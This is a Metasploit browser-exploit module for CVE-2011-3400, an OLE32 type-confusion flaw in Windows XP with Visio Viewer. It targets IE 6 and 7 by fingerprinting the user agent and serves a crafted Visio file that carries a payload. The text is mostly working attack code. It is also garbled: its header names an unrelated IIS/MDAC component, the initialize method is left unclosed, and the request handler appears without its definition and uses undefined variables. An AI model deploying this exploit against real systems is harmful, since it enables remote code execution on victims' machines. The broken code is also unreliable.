Vulnerable Systems:
* Microsoft IIS MDAC msadcs.dll
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution",
'Description' => %q{
This module exploits a type confusion vulnerability in the OLE32 component of
Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
function.
A Visio document with a specially crafted Summary Information Stream embedded allows
to get remote code execution through Internet Explorer, on systems with Visio Viewer
installed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-3400' ],
[ 'OSVDB', '77663'],
[ 'BID', '50977' ],
[ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ],
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3 / Visio Viewer 2010',
{
'Offset' => '0x7ee - code.length',
'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
}
],
[
'IE 7 on Windows XP SP3 / Visio Viewer 2010',
{
'Offset' => '0x7ee - code.length',
'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 13 2011",
'DefaultTarget' => 0))
def get_target(agent)
# If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] # IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] # IE 7 on Windows XP SP3
else
return nil
end
end
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
print_status("Client requesting: #{request.uri}")
if request.uri =~ /\.vsd$/
@vsd[5106, 2] = my_target['PtrToHeap']
print_status("Sending Exploit VSD")
send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' })
return
end